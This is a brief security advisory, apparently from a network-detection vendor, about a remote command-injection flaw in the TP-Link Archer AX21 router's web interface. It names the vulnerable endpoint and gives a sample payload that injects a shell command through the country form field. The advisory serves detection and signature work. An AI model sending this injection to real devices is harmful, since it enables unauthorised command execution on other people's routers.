Applicance Details
TP-Link Archer AX21 (AX1800) is a Dual-Band WiFi 6 router.
Vulnerability
TP-Link Archer AX21 could allow a remote attacker to execute arbitrary commands on the system, caused by a flaw in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface.
Identification
By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
POST /cgi-bin/luci/;stok=/locale?form=country
PAYLOAD -
operation=write&country=$(id>/tmp/out)
Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary commands on the system.
Coverage
Idappcom have created signature 8023644 along with a traffic file for this vulnerability.
References
Traffic IQ
If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional
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